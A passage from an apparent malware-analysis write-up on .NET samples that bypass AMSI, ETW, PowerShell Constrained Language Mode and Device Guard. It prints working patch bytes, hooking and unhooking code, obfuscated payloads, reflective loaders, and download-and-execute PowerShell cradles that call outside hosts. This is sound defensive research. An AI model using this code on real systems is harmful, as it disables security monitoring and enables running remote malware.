The Windows Lockdown Policy function WldpQueryDynamicCodeTrust "Retrieves a value that determines if the specified in-memory or on-disk .NET CRL dynamic code is trusted by Device Guard policy" ms docs. The patch code we observed in one of the samples starts with a function prolog, it first saves some registers on the stack, creates a stack frame and fills 58 DWORDs with 0xcccccccc. Loads the QWORD at address 0xf742 relative to the instruction to rcx and makes a call to absolute address 0xfffffffffffff79c, then cleanes up the function.

Arch: 64 bit
C#: {
	68, 137, 68, 36, 24, 72, 137, 84, 36, 16,
	72, 137, 76, 36, 8, 85, 87, 72, 129, 236,
	232, 0, 0, 0, 72, 141, 108, 36, 32, 72,
	139, 252, 185, 58, 0, 0, 0, 184, 204, 204,
	204, 204, 243, 171, 72, 139, 140, 36, 8, 1,
	0, 0, 72, 141, 13, 7, 247, 0, 0, 232,
	92, 247, 255, 255, 51, 192, 72, 141, 165, 200,
	0, 0, 0, 95, 93, 195, 204, 204, 204, 204,
	204, 204, 204, 204, 204, 204, 204, 204, 204, 204,
	204, 204, 204, 204, 204, 204
}
00000000  4489442418        mov [rsp+0x18],r8d
00000005  4889542410        mov [rsp+0x10],rdx
0000000A  48894C2408        mov [rsp+0x8],rcx
0000000F  55                push rbp
00000010  57                push rdi
00000011  4881ECE8000000    sub rsp,0xe8
00000018  488D6C2420        lea rbp,[rsp+0x20]
0000001D  488BFC            mov rdi,rsp
00000020  B93A000000        mov ecx,0x3a
00000025  B8CCCCCCCC        mov eax,0xcccccccc
0000002A  F3AB              rep stosd
0000002C  488B8C2408010000  mov rcx,[rsp+0x108]
00000034  488D0D07F70000    lea rcx,[rel 0xf742]
0000003B  E85CF7FFFF        call 0xfffffffffffff79c
00000040  33C0              xor eax,eax
00000042  488DA5C8000000    lea rsp,[rbp+0xc8]
00000049  5F                pop rdi
0000004A  5D                pop rbp
0000004B  C3                ret
0000004C  CC                int3
0000004D  CC                int3
0000004E  CC                int3
0000004F  CC                int3
00000050  CC                int3
00000051  CC                int3
00000052  CC                int3
00000053  CC                int3
00000054  CC                int3
00000055  CC                int3
00000056  CC                int3
00000057  CC                int3
00000058  CC                int3
00000059  CC                int3
0000005A  CC                int3
0000005B  CC                int3
0000005C  CC                int3
0000005D  CC                int3
0000005E  CC                int3
0000005F  CC                int3

Further examination of the sample that implemented this bypass reveals the PDB path: C:\Users\d3adc0de.PCOIPTEST\source\repos\vega\vega\obj\x64\Release\vega.pdb and the binary has the name vega.dll. It is exactly this binary from inceptor.

Sample info Attribute Value Name vega.dll SHA256 d9e9460320defd14a1c519b4c4d4162d6cf8f73f3bda735a7baeb9c7cf1a8898 TLSH CBD1C515D3E84B32F8BF0731ADB2A3451AF5F950CB67EB6F4596214A5D323200973762 KSS upload 2021-10-10 15:52:46 UTC VT upload 2021-09-26 21:04:39 UTC Size 6656 PDB path C:\Users\d3adc0de.PCOIPTEST\source\repos\vega\vega\obj\x64\Release\vega.pdb Unhook ntdll.dll #

There is also an example of ntdll.dll unhooking. This is done by finding ntdll.dll in the memory of the current process, reading and rewriting the memory. Though this technique would work if it was rewritten with ntdll.dll from disk, the current code only rewrites it with the same data (hooks, patches included if there were any). 2035711 decimal stands for 0x1F0FFF = PROCESS_ALL_ACCESS

private static void UnhookNTDLL()
{
  IntPtr hProcess = OpenProcess(2035711u, bInheritHandle: false, Process.GetCurrentProcess().Id);
  IntPtr moduleHandle = GetModuleHandle("ntdll.dll");
  MODULEINFO lpmodinfo = default(MODULEINFO);
  GetModuleInformation(hProcess, moduleHandle, out lpmodinfo, (uint)Marshal.SizeOf(lpmodinfo));
  byte[] lpBuffer = new byte[lpmodinfo.SizeOfImage];
  ReadProcessMemory(hProcess, moduleHandle, lpBuffer, lpmodinfo.SizeOfImage, out var lpNumberOfBytesRead);
  WriteProcessMemory(hProcess, moduleHandle, lpBuffer, lpmodinfo.SizeOfImage, out lpNumberOfBytesRead);
}
Sample info Attribute Value Name Downloader.exe SHA256 aad5599b751c7f98b3c0b721bed7cded2ace818e482166dd89f1600efbb9f074 TLSH 6DE1C702DBFC5220EDBA0B317C77434055B1FA129A27CB6D28C6221F1E237A54A63733 KSS upload 2025-03-26 11:34:42 UTC VT upload 2025-03-19 10:09:26 UTC Size 7168 PDB path D:\RedTeamCode\Redteam_shellcode\Downloader\Downloader\obj\Release\Downloader.pdb kernelbase.dll:RegOpenKeyExW #

One sample overwrites RegOpenKeyExW with a shellcode to jump to a delegate hook (marked with 0xdeadbeef).

C#: { 72, 184, 0xef, 0xbe, 0xad, 0xde, 80, 195 }
00000000  48                dec eax
00000001  B8EFBEADDE        mov eax,0xdeadbeef
00000006  50                push eax
00000007  C3                ret

This sample saves the original bytes at the beginning of RegOpenKeyExW and overwrites them to jump to RegOpenKeyWDetour. This function resets the original bytes. Then checks whether the registry open request came for subkey Software\Microsoft\AMSI\Providers. This key holds a list of AMSI providers, e.g. {2781761E-28E0–4109–99FE-B9D127C57AFE} stands for Microsoft Defender. When scanning an input, AMSI processes thes registry keys to submit the input for processing to the registered providers. So in the RegOpenKeyWDetour function if the open request came for Software\Microsoft\AMSI\Providers subkey, the function tries to open Software\Microsoft\AMSI\Providers with a space at the end (that doesn't exist). An exception is generated and caught. If this was either the first or the second attempt to read this key, the hook reestablishes itself, otherwise it lets the original RegOpenKeyExW process the request. To sum it up, it blocks the first two attempts to read this registry key, so AMSI scans see 0 providers.

public static int oldProtect;

public static IntPtr targetAddr;

public static IntPtr hookAddr;

public static byte[] originalBytes = new byte[12];

public static byte[] hookBytes = new byte[12];

public static int counter = 0;

public static string thekey = "Software\\Microsoft\\AMSI\\Providers";

public static DelegateRegOpenKeyExW A;

public static void DisappearKey()
{
  A = RegOpenKeyWDetour;
  targetAddr = GetProcAddress(GetModuleHandle("KERNELBASE.dll"), "RegOpenKeyExW");
  hookAddr = Marshal.GetFunctionPointerForDelegate(A);
  Marshal.Copy(targetAddr, originalBytes, 0, 12);
  hookBytes = new byte[2] { 72, 184 }.Concat(BitConverter.GetBytes((long)hookAddr)).Concat(new byte[2] { 80, 195 }).ToArray();
  VirtualProtect(targetAddr, 12, 64, out oldProtect);
  Marshal.Copy(hookBytes, 0, targetAddr, hookBytes.Length);
}

public static int RegOpenKeyWDetour(IntPtr hKey, string lpSubKey, uint ulOptions, int samDesired, out IntPtr phkResult)
{
  try
  {
    Marshal.Copy(originalBytes, 0, targetAddr, hookBytes.Length);
    if (lpSubKey == thekey)
    {
      counter++;
      return RegOpenKeyExW(hKey, thekey + " ", ulOptions, samDesired, out phkResult);
    }
    return RegOpenKeyExW(hKey, lpSubKey, ulOptions, samDesired, out phkResult);
  }
  finally
  {
    if (counter < 3)
    {
      Marshal.Copy(hookBytes, 0, targetAddr, hookBytes.Length);
    }
  }
}
Sample info Attribute Value Name ConsoleApp1.exe SHA256 9683cab10316c2d33c007ff0cbf648df087998da1fcd797233812029ffb0cdd6 TLSH EBE1E611EBD88B72EDB70F716D73138012BAF7054E4BEA1F64CD455B1E13A484AA2392 KSS upload 2025-08-10 14:29:59 UTC VT upload 2025-08-11 13:13:14 UTC Size 7168 PDB path C:\Users\Preslav\source\repos\ConsoleApp1\ConsoleApp1\obj\x64\Release\ConsoleApp1.pdb GetSystemLockdownPolicy #

SystemEnforcementMode can take 3 values: None, Audit, Enforce. In audit mode, PowerShell runs the untrusted scripts in ConstrainedLanguage mode but logs messages to the event log instead of throwing errors. The log messages describe what restrictions would apply if the policy were in Enforce mode. With this overwrite, GetSystemLockdownPolicy will always return None.

C#: { 72, 49, 192, 195 }
00000000  4831C0            xor rax,rax
00000003  C3                ret
Patch Obfuscation #

Some sample obfuscate the patches so that static analysis tools cannot alert on popular byte sequences that could indicate AMSI bypass. Here, the sample has a hardcoded xor key chtpt and the payloads are in base64-encoded format.

private byte[] getETWPayload()
{
  if (!is64Bit())
  {
    return MyDecode("whQA");
  }
  return MyDecode("ww==");
}

private byte[] getAMSIPayload()
{
  if (!is64Bit())
  {
    return MyDecode("uFcAB4DCGAA=");
  }
  return MyDecode("uFcAB4DD");
}

private byte[] MyDecode(string _Input)
{
  string key = "chtpt";
  return XorDecode(Convert.FromBase64String(_Input), key);
}

private byte[] XorDecode(byte[] _Input, string _Key)
{
  int num = 0;
  int length = _Key.Length;
  int i = 0;
  for (int num2 = _Input.Length; i < num2; i++)
  {
    char c = _Key[num];
    _Input[i] = Convert.ToByte(_Input[i] ^ c);
    num = (num + 1) % length;
  }
  return _Input;
}
Sample info Attribute Value Name PELoader_CSharp.exe SHA256 66b968ec7cc3c62c0fbee3b7716318761dec052a90d96830e466a43b80e27bcc TLSH 52E1C600ABF88526DDAE07369AB3874053B5F3369923DB6D7C81522F6F9335459037B2 KSS upload 2021-10-22 03:56:23 UTC VT upload 2021-10-06 11:34:46 UTC Size 7168 PDB path D:\VisualStudioProject\PELoader_CSharp\PELoader_CSharp\obj\Release\PELoader_CSharp.pdb

Another sample has each byte value incremented by 1 in the patch payload:

IntPtr procAddress = GetProcAddress(LoadLibrary("amsi.dll"), "AmsiScanBuffer");
byte[] array = new byte[6] { 185, 88, 1, 8, 129, 196 };
VirtualProtect(procAddress, (UIntPtr)(ulong)array.Length, 64u, out var _);
for (int i = 0; i < array.Length; i++)
{
  Marshal.Copy(new byte[1] { (byte)(array[i] - 1) }, 0, procAddress + i, 1);
}
Sample info Attribute Value Name loader.dll SHA256 584a5e3b628d23bc26451bd9ce136ad74c09a25f0c217faa86ebb68650465a97 TLSH F6C1D521E7E45632EDAF4B36BEE363421370F9518C67CF5F88C9410B5C362548A63B66 KSS upload 2024-08-11 03:15:09 UTC VT upload 2024-08-07 12:43:39 UTC Size 6144 PDB path

Another just xored the bytes with 0xdeadbeefcafebabe.

private static byte[] GetPatch
{
  get
  {
    byte[] s = new byte[6] { 102, 250, 190, 232, 74, 61 };
    byte[] s2 = new byte[8] { 102, 250, 190, 232, 74, 60, 162, 190 };
    if (Is64Bit)
    {
      return handle(s, 6);
    }
    return handle(s2, 8);
  }
}
public static byte[] handle(byte[] s, int l)
{
  byte[] array = new byte[8] { 222, 173, 190, 239, 202, 254, 186, 190 };
  byte[] array2 = new byte[l];
  for (int i = 0; i < l; i++)
  {
    array2[i] = Convert.ToByte(s[i] ^ array[i % 8]);
  }
  return array2;
}
Sample info Attribute Value Name AmsiPatch.dll SHA256 d1932710cf544c1ebe4e753f5a0867d6cf345b65f0f8bae4b87f5d9626ca8a3f TLSH D1C1D621A7E80776ECBB0B32EDB3A7020375EA004E63DB6F54C85106AD12694A533BD5 KSS upload 2022-06-06 04:24:46 UTC VT upload 2022-05-31 12:59:00 UTC Size 5632 PDB path C:\dev\dnBypass\AmsiPatch\obj\Release\AmsiPatch.pdb Loaded code #

After disabling some detection techniques, it's time to load the payload for the next stage. This is most of the time x86 binary code bytes. In this section we describe the methods, the various samples use to load assemblies.

The most common technique it to use Assembly.Load() on an array of bytes and then Invoke() its EntryPoint.

Assembly assembly = Assembly.Load(assemblyData);
MethodInfo entryPoint = assembly.EntryPoint;
entryPoint.Invoke(null, parameters);

A similar one was to instantiate a type from the assembly and invoke a member function.

Assembly assembly = Assembly.Load(rawAssembly);
Type type = assembly.GetType("OttoStager.OttoStager");
object target = Activator.CreateInstance(type);
type.InvokeMember("OttoStager", BindingFlags.Static | BindingFlags.Public | BindingFlags.InvokeMethod, null, target, null);
object obj = Assembly.Load(memoryStream.ToArray()).CreateInstance("stagetwo.Yeet");
obj.GetType().GetMethod("main").Invoke(obj, new object[2]
{
  ((object)this).GetType().Assembly.Location,
  streamReader
});

Another method was to create a thread with intPtr as startaddress, pointing to a shellcode.

hThread = CreateThread(IntPtr.Zero, 0u, intPtr, IntPtr.Zero, 0u, ref lpThreadId);
if (!(IntPtr.Zero == hThread))
{
  WaitForSingleObject(hThread, uint.MaxValue);
}

Others created PowerShell runspaces after bypassing AMSI. In the started runspace, AMSI is disabled so the executed PowerShell code won't trigger detection this way.

ConsoleShell.Start(RunspaceConfiguration.Create(), "Banner", "Help", new string[3] { "-exec", "bypass", "-nop" });
private static string RunScript(string script)
{
  Runspace val = RunspaceFactory.CreateRunspace();
  val.Open();
  Pipeline obj = val.CreatePipeline();
  obj.Commands.AddScript(script);
  obj.Commands.Add("Out-String");
  Collection<PSObject> collection = obj.Invoke();
  val.Close();
  StringBuilder stringBuilder = new StringBuilder();
  foreach (PSObject item in collection)
  {
    stringBuilder.AppendLine(((object)item).ToString());
  }
  return stringBuilder.ToString();
}
Assembly sources #

The executed assembly code comes from different sources. Some just read it encoded from standard input.

streamReader = new StreamReader(Console.OpenStandardInput());
text = streamReader.ReadLine();
GZipStream gZipStream = new GZipStream(new MemoryStream(Convert.FromBase64String(text)), CompressionMode.Decompress);
MemoryStream memoryStream = new MemoryStream();
gZipStream.CopyTo(memoryStream);

Some download a binary or powershell script after bypassing AMSI.

// IEX ((new-object net.webclient).downloadstring('http://106.52.219.135:81/a'))
RunScript(Base64Decode("SUVYICgobmV3LW9iamVjdCBuZXQud2ViY2xpZW50KS5kb3dubG9hZHN0cmluZygnaHR0cDovLzEwNi41Mi4yMTkuMTM1OjgxL2EnKSk="))
iex(new-object net.webclient).downloadstring('http://10.10.15.74/amsi.ps1')
iex(new-object net.webclient).downloadstring('http://192.168.0.103/payload')
byte[] rawAssembly = webClient.DownloadData("http://10.10.120.20:81/customgrunt.exe");
byte[] rawAssembly = webClient.DownloadData("http://192.168.0.18:8181/httpgrunt.exe");
byte[] array = DownloadBeacon("https://your-server.com/sliver_beacon.bin");
ExecuteReflectiveAssembly(XorDecrypt(array, "NHANTIEU"));
byte[] rawAssembly = webClient.DownloadData("http://dead1.net/deadTry.exe");

Some just read it from a file.

string path = "2.txt";
string input = File.ReadAllText(path);
string s = ReverseObfuscateString(input);
byte[] compressedData = Convert.FromBase64String(s);
Assembly asm = DecompressAssembly(compressedData);
CreateAndInvokeMethod(asm, "GodPotato.Program", "Main", args);
public static string AssemblyDirectory => Path.GetDirectoryName(Uri.UnescapeDataString(new UriBuilder(Assembly.GetExecutingAssembly().CodeBase).Path));
Assembly.LoadFrom(Path.Combine(AssemblyDirectory, "..", "PowerShellProtect.dll"));
Groups and purposes #

As you can see many samples load code from private IP addresses, have templated text in them. These are most likely not associated with malicious actors, some of them are test programs compiled from a PoC project on GitHub. Some are just learning artifacts, some are for red teaming. Some of the samples are obviously coming from the same source, some even show signs of incremental development.

GitHub projects #

This first group consists of samples that can be matched to GitHub projects based on their PDBs, decompiled source code structure. These could be compiled by anyone on their machines and they somehow made it to VirusTotal and our database.

Crybat #

12 samples are different development versions or copies of Crybat, formerly Jlaive. The original repository has beed deleted but there are forks where we can still view the original source code.

Sample info Attribute Value Name ConsoleApp10.exe SHA256 0bbfbf72bbcb7a92d5bd79705657dcb5038e686dcb1adebd1fc88fccbb645115 TLSH 29D1C604DBD447B3E9B20B71A9B3238416B8FB208D57EB5F25CD860B2E2735405A2371 KSS upload 2024-05-04 20:48:36 UTC VT upload 2024-05-04 13:37:19 UTC Size 6656 PDB path C:\Users\NapoleonRecode\source\repos\ConsoleApp10\ConsoleApp10\obj\Debug\ConsoleApp10.pdb Attribute Value Name ConsoleApp10.exe SHA256 1970460d7cecd03420e7778b4bc9cd7b5196ff2ad6e1a4d7bfd2f8ec110b5d9c TLSH 1EC1E541DBD84672E8B20B71ADB717000338FA244D67AB5E64CCD21B7E2334489223BA KSS upload 2024-05-06 01:22:09 UTC VT upload 2024-05-04 13:32:23 UTC Size 6144 PDB path C:\Users\NapoleonRecode\source\repos\ConsoleApp10\ConsoleApp10\obj\Debug\ConsoleApp10.pdb Attribute Value Name ConsoleApp10.exe SHA256 1de31c17d2148152908e9ac02b47fba709726c01534dbb7f7459c4e1d5d24ac0 TLSH DED1C410DBE88732E8B61B71A9B3134507B4FB508967EB2F25CDD60B6E2235409A3771 KSS upload 2024-05-04 20:48:36 UTC VT upload 2024-05-04 13:26:03 UTC Size 6656 PDB path C:\Users\NapoleonRecode\source\repos\ConsoleApp10\ConsoleApp10\obj\Debug\ConsoleApp10.pdb Attribute Value Name ConsoleApp10.exe SHA256 297cb38fec01cb263a5c075f2016ffa9b62733531df3fb57dd3d54bf08c1e10b TLSH 44D1C614DBD88773E8774B71ADB3624402B8EB14892BEB6F29CDC50B6E6374409A2371 KSS upload 2024-05-04 20:48:36 UTC VT upload 2024-05-04 13:25:07 UTC Size 6656 PDB path C:\Users\NapoleonRecode\source\repos\ConsoleApp10\ConsoleApp10\obj\Debug\ConsoleApp10.pdb Attribute Value Name ConsoleApp10.exe SHA256 314ad5ad49e9a3473768a6fe66e9e2fc48d69452b4ee2156d6441b6fe363c3e0 TLSH 38D1D714DBD84777E8770B31ADF3534402B8EB148A17EB6F28CDC50B6F6235405A23A1 KSS upload 2024-05-04 20:48:36 UTC VT upload 2024-05-04 13:42:48 UTC Size 6656 PDB path C:\Users\NapoleonRecode\source\repos\ConsoleApp10\ConsoleApp10\obj\Debug\ConsoleApp10.pdb Attribute Value Name ConsoleApp10.exe SHA256 505bc2b49771cc9e469851f62862ccb876d51bc667ccc06b8d9c61bf4f4cf4ee TLSH 33D1E741CBD49672E8B60B35ADF393410238FB108D27EB6F24CD960B6E5235849B37B5 KSS upload 2024-05-04 20:48:36 UTC VT upload 2024-05-04 13:41:22 UTC Size 6656 PDB path C:\Users\NapoleonRecode\source\repos\ConsoleApp10\ConsoleApp10\obj\Debug\ConsoleApp10.pdb Attribute Value Name ConsoleApp10.exe SHA256 50af10ec8a29b6934c8f477732c8114b599edff1069d0eb40c63c2a2f45d135e TLSH 2AE1C600DBD85772E47A5B31ECB2630506B9EA144A27EB6F25CEC50F7E2634409A3BF1 KSS upload 2024-05-04 20:18:17 UTC VT upload 2024-05-04 13:21:05 UTC Size 7168 PDB path C:\Users\NapoleonRecode\source\repos\ConsoleApp10\ConsoleApp10\obj\Debug\ConsoleApp10.pdb Attribute Value Name ConsoleApp10.exe SHA256 7746095f1afb34a353312a6a30748288b3c968a78be463544bb792d1dc70b306 TLSH 0CD1C514DBE84773E8760B71ADB3624407B8EB148A1BEB6F25CDC60B6E6235409A3375 KSS upload 2024-05-04 20:48:36 UTC VT upload 2024-05-04 13:25:37 UTC Size 6656 PDB path C:\Users\NapoleonRecode\source\repos\ConsoleApp10\ConsoleApp10\obj\Debug\ConsoleApp10.pdb Attribute Value Name ConsoleApp10.exe SHA256 842b37c5afe92ad1e3d3695c0b0baf8a1b929e1567de6a318fe5134c5d4e1ae6 TLSH C1D1C410DBE84773E8760B31ACB353480AB4FA008957EB6F19CDD20B6F2235405A2775 KSS upload 2024-05-04 20:48:36 UTC VT upload 2024-05-04 13:29:18 UTC Size 6656 PDB path C:\Users\NapoleonRecode\source\repos\ConsoleApp10\ConsoleApp10\obj\Debug\ConsoleApp10.pdb Attribute Value Name ConsoleApp10.exe SHA256 91136d7afe5ce130e00cd8d520f4e1c506a748434cee6ed2bac54ffafba92bcc TLSH 72E1D714DBD88673E8764B71ADF3630506B4EA544D1BEB2F25CDC60F6E2234405A37B1 KSS upload 2024-05-04 20:18:17 UTC VT upload 2024-05-04 13:24:11 UTC Size 7168 PDB path C:\Users\NapoleonRecode\source\repos\ConsoleApp10\ConsoleApp10\obj\Debug\ConsoleApp10.pdb Attribute Value Name ConsoleApp10.exe SHA256 91f29e39217245e92633a5a26f3db321f59912207560dbe61cea5223b069f9fd TLSH A4D1D640DBD48672E8B21B71ADF363424238FB508C57EB5F25CDD20B6E2234889B27B5 KSS upload 2024-05-04 20:48:36 UTC VT upload 2024-05-04 13:40:09 UTC Size 6656 PDB path C:\Users\NapoleonRecode\source\repos\ConsoleApp10\ConsoleApp10\obj\Debug\ConsoleApp10.pdb Attribute Value Name ConsoleApp9.exe SHA256 9464cf63840b9557544fdd118719bfb3253459858b006e8797f3ebdbd2a6a8e0 TLSH C8E1C704EBD45A72E4BA1B31ECB3A30507B5E6744E67DB1F19CD810F3D1635485A2BA1 KSS upload 2024-05-04 20:48:36 UTC VT upload 2024-05-04 13:20:14 UTC Size 7168 PDB path C:\Users\NapoleonRecode\source\repos\ConsoleApp9\ConsoleApp9\obj\Debug\ConsoleApp9.pdb bypass-clm #

6 samples are develpment versions of bypass-clm, a PowerShell Constrained Language Mode Bypass program from different user machines (based on .pdb)

Sample info Attribute Value Name bypass-clm.exe SHA256 00f1dab8457a6064c45bbcb2e6dbf64261b512eae850602fecc92331082836c5 TLSH 0CD1C712F7DC1335EDFA4B76ACA3931107B4F6818C968F9E28E9520B9E172444A63771 KSS upload 2023-10-02 00:27:40 UTC VT upload 2023-09-30 18:57:33 UTC Size 6656 PDB path C:\osep\soft\bypass-clm-master\bypass-clm\obj\Release\bypass-clm.pdb Attribute Value Name bypass-clm.exe SHA256 3ab5983c824a64b7256ce6d7149e88109527b87ab82dc12609bd0751655b4f18 TLSH B3E1D712EBD9473BF8BB8B316CB393110BB0FA408D579B6D25DD670B9C1B6440A63362 KSS upload 2022-02-25 00:35:51 UTC VT upload 2022-01-16 19:09:18 UTC Size 7168 PDB path C:\Users\ary\Desktop\OSEP-main\CLM&AppLoacker\bypass-clm-master\bypass-clm\obj\Debug\bypass-clm.pdb Attribute Value Name bypass-clm.exe SHA256 5eab3bc4f726deae98260abedfe4e588a9962896d8c58bce540a5b068e5c2104 TLSH 57D1D711FBEC473AECBB47379CB3A3110AB5F6404956CB6E24C8920BAD177445A63BB1 KSS upload 2024-04-30 12:06:52 UTC VT upload 2024-04-29 08:15:40 UTC Size 6656 PDB path bypass-clm.pdb Attribute Value Name bypass-clm.exe SHA256 dbaf162a0296d1e9838727d412d9d82f397fd9c6dbfc9d86217447722f589ef2 TLSH 1CD1D712E7E8563BEDBB4731ACB3932107B0FB444D569B5E24CD630B9D0764449A3372 KSS upload 2021-03-27 08:13:55 UTC VT upload 2021-03-12 10:20:54 UTC Size 6656 PDB path C:\Users\MichaelDyrmose\Desktop\OSEP\Challenge 1\bypass-clm-master\bypass-clm\obj\x64\Release\bypass-clm.pdb Attribute Value Name bypass-clm.exe SHA256 dc608b4068f287b7e7ae4f9a1d23d4513d88ef47c30dca8152e651f266f62823 TLSH C0D1C711F7D8477AECBF4737ACB363010BB4F6504956CB6D25C8920B9D1B6844AA3BB2 KSS upload 2023-08-19 11:17:07 UTC VT upload 2022-11-01 00:50:24 UTC Size 6656 PDB path bypass-clm.pdb Attribute Value Name bypass-clm.exe SHA256 e8a44e3eaae4211e2976ee947bd02733766bc5df7e483707a328127c846f4991 TLSH 60E1D712EBD8573BEDBB4731ACB3931207B0FA408D679B6E24DD630B9C0764445A37A2 KSS upload 2024-02-10 09:31:21 UTC VT upload 2023-10-09 08:43:07 UTC Size 7168 PDB path C:\Users\daigua\Desktop\bypass-clm-master\bypass-clm\obj\Release\bypass-clm.pdb Invoke-Knockout #

One sample is Invoke-Knockout, though not the precompiled version on github.

Sample info Attribute Value Name Invoke-Knockout.dll SHA256 1caf71a528d5576617f8a1900d24ec941b83c99b830c53c508b0ff8610836f73 TLSH CEE1B545EBF4572ADCAF0B31ECF7124609B5F7128D638B2F48DD461A5D132900DA2BA6 KSS upload 2023-02-07 17:30:35 UTC VT upload 2022-11-15 05:18:38 UTC Size 7168 PDB path C:\Users\reg\Downloads\Invoke-Knockout-main\Invoke-Knockout\obj\Release\Invoke-Knockout.pdb TrollDisappearKey #

The sample that made AMSI Providers registry key disappear was TrollDisappearKey, it is nearly the same source.

Sample info Attribute Value Name ConsoleApp1.exe SHA256 9683cab10316c2d33c007ff0cbf648df087998da1fcd797233812029ffb0cdd6 TLSH EBE1E611EBD88B72EDB70F716D73138012BAF7054E4BEA1F64CD455B1E13A484AA2392 KSS upload 2025-08-10 14:29:59 UTC VT upload 2025-08-11 13:13:14 UTC Size 7168 PDB path C:\Users\Preslav\source\repos\ConsoleApp1\ConsoleApp1\obj\x64\Release\ConsoleApp1.pdb Inceptor #

As we've already mentioned there was sample vega.dll which is exactly vega.dll from inceptor.

Sample info Attribute Value Name vega.dll SHA256 d9e9460320defd14a1c519b4c4d4162d6cf8f73f3bda735a7baeb9c7cf1a8898 TLSH CBD1C515D3E84B32F8BF0731ADB2A3451AF5F950CB67EB6F4596214A5D323200973762 KSS upload 2021-10-10 15:52:46 UTC VT upload 2021-09-26 21:04:39 UTC Size 6656 PDB path C:\Users\d3adc0de.PCOIPTEST\source\repos\vega\vega\obj\x64\Release\vega.pdb FullBypass #

4 samples are slightly modified versions of FullBypass.

Sample info Attribute Value Name FullBypass.exe SHA256 2b23972804f45aa6f23b0368a64d4899cae04e2a4397b2dd7b49a9e7026bf189 TLSH DEC1D741E3F84326EDF60B72EC62820155B5B7558DB3872E29DDA25B1F162080573BB2 KSS upload 2024-05-29 03:14:45 UTC VT upload 2024-05-20 07:17:36 UTC Size 5632 PDB path C:\Users\pc\Downloads\FullBypass-main\FullBypass-main\FullBypass\FullBypass\obj\x64\Release\FullBypass.pdb Attribute Value Name FullBypass.exe SHA256 4a0bd6631fb5109742afcec09d2378797411e92407e3f2928ca0e8e882f76422 TLSH EFC1D746E3F85725ECFB0B32EC7283001AB5F65A8D37872D25EDA2571F123444563A71 KSS upload 2024-05-29 03:02:46 UTC VT upload 2024-05-20 07:16:27 UTC Size 5632 PDB path C:\Users\pc\Downloads\FullBypass-main\FullBypass-main\FullBypass\FullBypass\obj\x64\Release\FullBypass.pdb Attribute Value Name FullBypass.exe SHA256 9b3ea31feb51d4d14d85018e357d09d237ed7c10dc8fb6b5123e6291e50828c6 TLSH 02C1F605E3E85735ECFA0F32ECB3931106B5F22A8D63872F18E961471F162580673B62 KSS upload 2024-05-20 14:11:25 UTC VT upload 2024-05-20 06:59:05 UTC Size 6144 PDB path C:\Users\pc\Downloads\FullBypass-main\FullBypass-main\FullBypass\FullBypass\obj\x64\Release\FullBypass.pdb Attribute Value Name FullBypass.exe SHA256 9eed620208541e0b0e855588a28848926d38a5f1d7e3b08df8efac0d31b384e2 TLSH 99C1D746E3F8572AECF60B32EC73870119B5F3558D778B2D24ADA15B1F1234445236B2 KSS upload 2024-05-29 04:17:30 UTC VT upload 2024-05-20 07:14:51 UTC Size 5632 PDB path C:\Users\pc\Downloads\FullBypass-main\FullBypass-main\FullBypass\FullBypass\obj\x64\Release\FullBypass.pdb MemoryLoader #

One sample's pdb path contains flareadmin and the source matches MemoryLoader.

Sample info Attribute Value Name ameml.exe SHA256 95852ff73b638c04ade0e30198fcccff2b5c459e09d18b931fde69cbc4c40e03 TLSH 6CD1B515D7EC0736E9BB87316EB393405370FB918E67CA6F58D4421B6D262940A73361 KSS upload 2021-10-04 05:00:43 UTC VT upload 2021-09-18 19:49:43 UTC Size 6656 PDB path C:\Users\flareadmin\Downloads\MemoryLoader-main\MemoryLoader\obj\Release\ameml.pdb
Learning, RedTeaming #

Another group of samples are not compiled from publically available code on GitHub but still show signs of being used for learning these techniques or being part of red teaming exercises.

Assembly from private IP #

There were 4 samples that loaded assemblies from private IP addresses.

iex(new-object net.webclient).downloadstring('http://10.10.15.74/amsi.ps1')
iex(new-object net.webclient).downloadstring('http://192.168.0.103/payload')
Sample info Attribute Value Name Bypass.exe SHA256 760b6dc6e78ff37f30fe6ebf2823cf2c18b9eea6257cde2818318c0a827e62c3 TLSH F5E1D615DBE8523BFC770B326CB393501670AB425D23DBAF18D9631B6E2364406B37A2 KSS upload 2023-02-05 23:23:32 UTC VT upload 2019-11-21 15:57:03 UTC Size 7168 PDB path C:\Users\sjaiswal\source\repos\Bypass\obj\Release\Bypass.pdb Attribute Value Name Bypass.exe SHA256 7f4a457133248ff172126e5c151d7a27a66038d006b14a0c8f90d2f6b52bd374 TLSH B6E1E811E7E48B36E8B74F325DF3A31106B0B751CD5B8B2F64D962176E1225406B3BB2 KSS upload 2023-01-31 16:04:06 UTC VT upload 2023-01-09 10:16:18 UTC Size 7168 PDB path C:\Users\rahul\Desktop\RastaTools\CLMBypassBlogpost\Bypass\obj\Release\Bypass.pdb
byte[] rawAssembly = webClient.DownloadData("http://10.10.120.20:81/customgrunt.exe");
byte[] rawAssembly = webClient.DownloadData("http://192.168.0.18:8181/httpgrunt.exe");
Sample info Attribute Value Name assemblyloader.exe SHA256 6be9b0277e5d68e424b93d2d7e9d3492707301749e75c7ea88e03dd8116df3a6 TLSH D0D1D80097E84736FCBA8B323DB39A0113B4F755CC96D75F25A4511F6E236500A22762 KSS upload 2020-05-30 06:01:42 UTC VT upload 2020-05-03 15:30:21 UTC Size 6656 PDB path C:\Users\IEUser\source\repos\assemblyloader\assemblyloader\obj\Debug\assemblyloader.pdb Attribute Value Name Amsi.exe SHA256 df9079daf2783d6f9da523332aa1bc740c1c42304656da5dc4738b0f99bd46ff TLSH C8D1E80097E90B37ECF90772ADB7870093B8E79588A6CB6FA5E9510B2F1335805627A1 KSS upload 2020-04-30 16:18:58 UTC VT upload 2020-02-29 18:33:53 UTC Size 6656 PDB path C:\Users\IEUser\source\repos\Amsi\obj\Debug\Amsi.pdb

And two other samples are very much similar to the last two, probably developed from the same ASBBypass code.

